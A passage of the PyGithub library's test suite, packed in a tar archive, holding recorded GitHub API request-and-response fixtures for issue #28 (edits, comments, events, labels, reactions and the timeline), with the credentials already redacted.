{"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"assignees":[{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},{"url":"https://api.github.com/users/stuglaser","gravatar_id":"","login":"stuglaser","avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","id":1527117}],"updated_at":"2012-05-19T10:42:25Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28","comments":0,"number":28,"title":"Title edited by PyGithub","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"closed_at":null,"labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"}],"closed_by":null,"html_url":"https://github.com/PyGithub/PyGithub/issues/28","created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":4653757,"milestone":{"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","due_on":null,"closed_issues":1,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"number":2,"open_issues":11,"title":"Version 1.0: coherent public interface","created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"state_reason":"not_planned"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testEditWithStateReasonReopened.txt0000644000175100001660000000603114756101563026262 0ustar00runnerdockerhttps PATCH api.github.com None /repos/PyGithub/PyGithub/issues/28 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"state": "open", "state_reason": "reopened"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '2034'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"98bbbf2b2187bf5cdd9aead53ecc2b97"'), ('date', 'Sat, 19 May 2012 10:42:26 GMT'), ('content-type', 'application/json; charset=utf-8')] {"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"assignees":[{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},{"url":"https://api.github.com/users/stuglaser","gravatar_id":"","login":"stuglaser","avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","id":1527117}],"updated_at":"2012-05-19T10:42:25Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28","comments":0,"number":28,"title":"Title edited by PyGithub","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"closed_at":null,"labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"}],"closed_by":null,"html_url":"https://github.com/PyGithub/PyGithub/issues/28","created_at":"2012-05-19T10:38:23Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":4653757,"milestone":{"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","due_on":null,"closed_issues":1,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"number":2,"open_issues":11,"title":"Version 1.0: coherent public interface","created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"state_reason":"reopened"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testEditWithoutParameters.txt0000644000175100001660000000236014756101563025204 0ustar00runnerdockerhttps PATCH api.github.com None /repos/PyGithub/PyGithub/issues/28 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '748'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"771af112ee4f9ad5858f5c9b5141b319"'), ('date', 'Sat, 19 May 2012 10:41:03 GMT'), ('content-type', 'application/json; charset=utf-8')] {"assignee":null,"updated_at":"2012-05-19T10:38:23Z","body":null,"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28","comments":0,"number":28,"title":"Issue created by PyGithub","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"closed_at":null,"labels":[],"closed_by":null,"html_url":"https://github.com/PyGithub/PyGithub/issues/28","created_at":"2012-05-19T10:38:23Z","state":"open","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4653757,"milestone":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testGetComments.txt0000644000175100001660000000440614756101563023137 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues/28/comments {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '1820'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"bab5fb77d873847d153979f7fcd7e0f1"'), ('date', 'Sat, 26 May 2012 09:43:03 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-05-01T22:03:59Z","body":"Thank you for the suggestion. It's somehow related to https://github.com/PyGithub/PyGithub/issues/6, even if I have not described it in details.\r\n\r\nI'm currently doing a very deep rewrite, which will lead to much more readable stack traces in case of exceptions, and I will include more details about the error. I may also be able to detect type errors *before* sending the request to github.\r\n\r\nBy the way, I'm very glad to hear that you have solved a real-life use case using PyGithub :-)","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5449237","id":5449237,"created_at":"2012-05-01T22:03:59Z"},{"user":{"gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/roskakori","login":"roskakori","id":328726},"updated_at":"2012-05-04T19:23:57Z","body":"Good to hear you are already working on this in #6, so I suppose this can be tagged as duplicate and be closed.\r\n\r\nBTW, I cleaned up my script to convert Trac tickets to Github issues and uploaded it to PyPI: http://pypi.python.org/pypi/tratihubis/. It seems that at least some people find it useful, so hopefully it helps to popularize PyGithub a little.","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5518272","id":5518272,"created_at":"2012-05-04T19:23:57Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testGetCommentsSince.txt0000644000175100001660000000444514756101563024124 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues/28/comments?since=2012-05-26T13%3A59%3A33Z {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '1820'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"bab5fb77d873847d153979f7fcd7e0f1"'), ('date', 'Sat, 26 May 2012 09:43:03 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-05-01T22:03:59Z","body":"Thank you for the suggestion. It's somehow related to https://github.com/PyGithub/PyGithub/issues/6, even if I have not described it in details.\r\n\r\nI'm currently doing a very deep rewrite, which will lead to much more readable stack traces in case of exceptions, and I will include more details about the error. I may also be able to detect type errors *before* sending the request to github.\r\n\r\nBy the way, I'm very glad to hear that you have solved a real-life use case using PyGithub :-)","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5449237","id":5449237,"created_at":"2012-05-01T22:03:59Z"},{"user":{"gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/roskakori","login":"roskakori","id":328726},"updated_at":"2012-05-04T19:23:57Z","body":"Good to hear you are already working on this in #6, so I suppose this can be tagged as duplicate and be closed.\r\n\r\nBTW, I cleaned up my script to convert Trac tickets to Github issues and uploaded it to PyPI: http://pypi.python.org/pypi/tratihubis/. It seems that at least some people find it useful, so hopefully it helps to popularize PyGithub a little.","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5518272","id":5518272,"created_at":"2012-05-04T19:23:57Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testGetEvents.txt0000644000175100001660000000272214756101563022615 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues/28/events {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4967'), ('content-length', '945'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c22776de31a71795b5374ee3c61f51bd"'), ('date', 'Sun, 20 May 2012 12:02:39 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/15819975","commit_id":null,"created_at":"2012-05-19T10:38:23Z","event":"subscribed","id":15819975,"actor":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146}},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/15820048","commit_id":null,"created_at":"2012-05-19T10:42:25Z","event":"assigned","id":15820048,"actor":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testGetLabels.txt0000644000175100001660000000146614756101563022557 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c9f9beccb03030beaf7b80927da6fef6"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testGetReactions.txt0000644000175100001660000000446014756101563023301 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues/28/reactions {'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.squirrel-girl-preview', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '997'), ('x-runtime-rack', '0.048226'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'repo'), ('etag', '"3255702d103ac91381269c771ab9b613"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4928'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DC5B:0DD5:D2183:206795:5A25FFA5'), ('date', 'Tue, 05 Dec 2017 02:08:37 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1512439778')] [{"id":16916340,"user":{"login":"nicolastrres","id":6579348,"avatar_url":"https://avatars0.githubusercontent.com/u/6579348?v=4","gravatar_id":"","url":"https://api.github.com/users/nicolastrres","html_url":"https://github.com/nicolastrres","followers_url":"https://api.github.com/users/nicolastrres/followers","following_url":"https://api.github.com/users/nicolastrres/following{/other_user}","gists_url":"https://api.github.com/users/nicolastrres/gists{/gist_id}","starred_url":"https://api.github.com/users/nicolastrres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicolastrres/subscriptions","organizations_url":"https://api.github.com/users/nicolastrres/orgs","repos_url":"https://api.github.com/users/nicolastrres/repos","events_url":"https://api.github.com/users/nicolastrres/events{/privacy}","received_events_url":"https://api.github.com/users/nicolastrres/received_events","type":"User","site_admin":false},"content":"+1","created_at":"2017-12-05T01:59:33Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testGetTimeline.txt0000644000175100001660000010560114756101563023117 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues/28/timeline {'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.mockingbird-preview', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '997'), ('x-runtime-rack', '0.048226'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'repo'), ('etag', '"3255702d103ac91381269c771ab9b613"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4928'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DC5B:0DD5:D2183:206795:5A25FFA5'), ('date', 'Tue, 05 Dec 2017 02:08:37 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1512439778')] [ { "id": 15819975, "node_id": "MDE1OlN1YnNjcmliZWRFdmVudDE1ODE5OTc1", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/15819975", "actor": { "login": "jacquev6", "id": 327146, "node_id": "MDQ6VXNlcjMyNzE0Ng==", "avatar_url": "https://avatars1.githubusercontent.com/u/327146?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jacquev6", "html_url": "https://github.com/jacquev6", "followers_url": "https://api.github.com/users/jacquev6/followers", "following_url": "https://api.github.com/users/jacquev6/following{/other_user}", "gists_url": "https://api.github.com/users/jacquev6/gists{/gist_id}", "starred_url": "https://api.github.com/users/jacquev6/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jacquev6/subscriptions", "organizations_url": "https://api.github.com/users/jacquev6/orgs", "repos_url": "https://api.github.com/users/jacquev6/repos", "events_url": "https://api.github.com/users/jacquev6/events{/privacy}", "received_events_url": "https://api.github.com/users/jacquev6/received_events", "type": "User", "site_admin": false }, "event": "subscribed", "commit_id": null, "commit_url": null, "created_at": "2012-05-19T10:38:23Z" }, { "id": 15820048, "node_id": "MDEzOkFzc2lnbmVkRXZlbnQxNTgyMDA0OA==", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/15820048", "actor": { "login": "ghost", "id": 10137, "node_id": "MDQ6VXNlcjEwMTM3", "avatar_url": "https://avatars3.githubusercontent.com/u/10137?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ghost", "html_url": "https://github.com/ghost", "followers_url": "https://api.github.com/users/ghost/followers", "following_url": "https://api.github.com/users/ghost/following{/other_user}", "gists_url": "https://api.github.com/users/ghost/gists{/gist_id}", "starred_url": "https://api.github.com/users/ghost/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/ghost/subscriptions", "organizations_url": "https://api.github.com/users/ghost/orgs", "repos_url": "https://api.github.com/users/ghost/repos", "events_url": "https://api.github.com/users/ghost/events{/privacy}", "received_events_url": "https://api.github.com/users/ghost/received_events", "type": "User", "site_admin": false }, "event": "assigned", "commit_id": null, "commit_url": null, "created_at": "2012-05-19T10:42:25Z", "assignee": { "login": "jacquev6", "id": 327146, "node_id": "MDQ6VXNlcjMyNzE0Ng==", "avatar_url": "https://avatars1.githubusercontent.com/u/327146?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jacquev6", "html_url": "https://github.com/jacquev6", "followers_url": "https://api.github.com/users/jacquev6/followers", "following_url": "https://api.github.com/users/jacquev6/following{/other_user}", "gists_url": "https://api.github.com/users/jacquev6/gists{/gist_id}", "starred_url": "https://api.github.com/users/jacquev6/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jacquev6/subscriptions", "organizations_url": "https://api.github.com/users/jacquev6/orgs", "repos_url": "https://api.github.com/users/jacquev6/repos", "events_url": "https://api.github.com/users/jacquev6/events{/privacy}", "received_events_url": "https://api.github.com/users/jacquev6/received_events", "type": "User", "site_admin": false } }, { "id": 16333938, "node_id": "MDEzOkFzc2lnbmVkRXZlbnQxNjMzMzkzOA==", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/16333938", "actor": { "login": "ghost", "id": 10137, "node_id": "MDQ6VXNlcjEwMTM3", "avatar_url": "https://avatars3.githubusercontent.com/u/10137?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ghost", "html_url": "https://github.com/ghost", "followers_url": "https://api.github.com/users/ghost/followers", "following_url": "https://api.github.com/users/ghost/following{/other_user}", "gists_url": "https://api.github.com/users/ghost/gists{/gist_id}", "starred_url": "https://api.github.com/users/ghost/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/ghost/subscriptions", "organizations_url": "https://api.github.com/users/ghost/orgs", "repos_url": "https://api.github.com/users/ghost/repos", "events_url": "https://api.github.com/users/ghost/events{/privacy}", "received_events_url": "https://api.github.com/users/ghost/received_events", "type": "User", "site_admin": false }, "event": "assigned", "commit_id": null, "commit_url": null, "created_at": "2012-05-26T14:58:27Z", "assignee": { "login": "jacquev6", "id": 327146, "node_id": "MDQ6VXNlcjMyNzE0Ng==", "avatar_url": "https://avatars1.githubusercontent.com/u/327146?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jacquev6", "html_url": "https://github.com/jacquev6", "followers_url": "https://api.github.com/users/jacquev6/followers", "following_url": "https://api.github.com/users/jacquev6/following{/other_user}", "gists_url": "https://api.github.com/users/jacquev6/gists{/gist_id}", "starred_url": "https://api.github.com/users/jacquev6/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jacquev6/subscriptions", "organizations_url": "https://api.github.com/users/jacquev6/orgs", "repos_url": "https://api.github.com/users/jacquev6/repos", "events_url": "https://api.github.com/users/jacquev6/events{/privacy}", "received_events_url": "https://api.github.com/users/jacquev6/received_events", "type": "User", "site_admin": false } }, { "id": 16333959, "node_id": "MDExOkNsb3NlZEV2ZW50MTYzMzM5NTk=", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/16333959", "actor": { "login": "jacquev6", "id": 327146, "node_id": "MDQ6VXNlcjMyNzE0Ng==", "avatar_url": "https://avatars1.githubusercontent.com/u/327146?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jacquev6", "html_url": "https://github.com/jacquev6", "followers_url": "https://api.github.com/users/jacquev6/followers", "following_url": "https://api.github.com/users/jacquev6/following{/other_user}", "gists_url": "https://api.github.com/users/jacquev6/gists{/gist_id}", "starred_url": "https://api.github.com/users/jacquev6/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jacquev6/subscriptions", "organizations_url": "https://api.github.com/users/jacquev6/orgs", "repos_url": "https://api.github.com/users/jacquev6/repos", "events_url": "https://api.github.com/users/jacquev6/events{/privacy}", "received_events_url": "https://api.github.com/users/jacquev6/received_events", "type": "User", "site_admin": false }, "event": "closed", "commit_id": null, "commit_url": null, "created_at": "2012-05-26T14:59:34Z" }, { "id": 24398051, "node_id": "MDEzOkFzc2lnbmVkRXZlbnQyNDM5ODA1MQ==", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/24398051", "actor": { "login": "ghost", "id": 10137, "node_id": "MDQ6VXNlcjEwMTM3", "avatar_url": "https://avatars3.githubusercontent.com/u/10137?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ghost", "html_url": "https://github.com/ghost", "followers_url": "https://api.github.com/users/ghost/followers", "following_url": "https://api.github.com/users/ghost/following{/other_user}", "gists_url": "https://api.github.com/users/ghost/gists{/gist_id}", "starred_url": "https://api.github.com/users/ghost/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/ghost/subscriptions", "organizations_url": "https://api.github.com/users/ghost/orgs", "repos_url": "https://api.github.com/users/ghost/repos", "events_url": "https://api.github.com/users/ghost/events{/privacy}", "received_events_url": "https://api.github.com/users/ghost/received_events", "type": "User", "site_admin": false }, "event": "assigned", "commit_id": null, "commit_url": null, "created_at": "2012-09-11T18:52:07Z", "assignee": { "login": "jacquev6", "id": 327146, "node_id": "MDQ6VXNlcjMyNzE0Ng==", "avatar_url": "https://avatars1.githubusercontent.com/u/327146?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jacquev6", "html_url": "https://github.com/jacquev6", "followers_url": "https://api.github.com/users/jacquev6/followers", "following_url": "https://api.github.com/users/jacquev6/following{/other_user}", "gists_url": "https://api.github.com/users/jacquev6/gists{/gist_id}", "starred_url": "https://api.github.com/users/jacquev6/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jacquev6/subscriptions", "organizations_url": "https://api.github.com/users/jacquev6/orgs", "repos_url": "https://api.github.com/users/jacquev6/repos", "events_url": "https://api.github.com/users/jacquev6/events{/privacy}", "received_events_url": "https://api.github.com/users/jacquev6/received_events", "type": "User", "site_admin": false } }, { "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/comments/20227753", "html_url": "https://github.com/PyGithub/PyGithub/issues/28#issuecomment-20227753", "issue_url": "https://api.github.com/repos/PyGithub/PyGithub/issues/28", "id": 20227753, "node_id": "MDEyOklzc3VlQ29tbWVudDIwMjI3NzUz", "user": { "login": "stuglaser", "id": 1527117, "node_id": "MDQ6VXNlcjE1MjcxMTc=", "avatar_url": "https://avatars1.githubusercontent.com/u/1527117?v=4", "gravatar_id": "", "url": "https://api.github.com/users/stuglaser", "html_url": "https://github.com/stuglaser", "followers_url": "https://api.github.com/users/stuglaser/followers", "following_url": "https://api.github.com/users/stuglaser/following{/other_user}", "gists_url": "https://api.github.com/users/stuglaser/gists{/gist_id}", "starred_url": "https://api.github.com/users/stuglaser/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/stuglaser/subscriptions", "organizations_url": "https://api.github.com/users/stuglaser/orgs", "repos_url": "https://api.github.com/users/stuglaser/repos", "events_url": "https://api.github.com/users/stuglaser/events{/privacy}", "received_events_url": "https://api.github.com/users/stuglaser/received_events", "type": "User", "site_admin": false }, "created_at": "2013-06-29T10:31:38Z", "updated_at": "2013-06-29T10:31:38Z", "author_association": "CONTRIBUTOR", "body": "Comment created by PyGithub\n", "event": "commented", "actor": { "login": "stuglaser", "id": 1527117, "node_id": "MDQ6VXNlcjE1MjcxMTc=", "avatar_url": "https://avatars1.githubusercontent.com/u/1527117?v=4", "gravatar_id": "", "url": "https://api.github.com/users/stuglaser", "html_url": "https://github.com/stuglaser", "followers_url": "https://api.github.com/users/stuglaser/followers", "following_url": "https://api.github.com/users/stuglaser/following{/other_user}", "gists_url": "https://api.github.com/users/stuglaser/gists{/gist_id}", "starred_url": "https://api.github.com/users/stuglaser/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/stuglaser/subscriptions", "organizations_url": "https://api.github.com/users/stuglaser/orgs", "repos_url": "https://api.github.com/users/stuglaser/repos", "events_url": "https://api.github.com/users/stuglaser/events{/privacy}", "received_events_url": "https://api.github.com/users/stuglaser/received_events", "type": "User", "site_admin": false } }, { "id": 98136339, "node_id": "MDEyOkxhYmVsZWRFdmVudDk4MTM2MzM5", "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/events/98136339", "actor": { "login": "jacquev6", "id": 327146, "node_id": "MDQ6VXNlcjMyNzE0Ng==", "avatar_url": "https://avatars1.githubusercontent.com/u/327146?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jacquev6", "html_url": "https://github.com/jacquev6", "followers_url": "https://api.github.com/users/jacquev6/followers", "following_url": "https://api.github.com/users/jacquev6/following{/other_user}", "gists_url": "https://api.github.com/users/jacquev6/gists{/gist_id}", "starred_url": "https://api.github.com/users/jacquev6/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jacquev6/subscriptions", "organizations_url": "https://api.github.com/users/jacquev6/orgs", "repos_url": "https://api.github.com/users/jacquev6/repos", "events_url": "https://api.github.com/users/jacquev6/events{/privacy}", "received_events_url": "https://api.github.com/users/jacquev6/received_events", "type": "User", "site_admin": false }, "event": "labeled", "commit_id": null, "commit_url": null, "created_at": "2014-03-02T18:55:11Z", "label": { "name": "v1", "color": "5319e7" } }, { "url": "https://api.github.com/repos/PyGithub/PyGithub/issues/comments/415570895", "html_url": 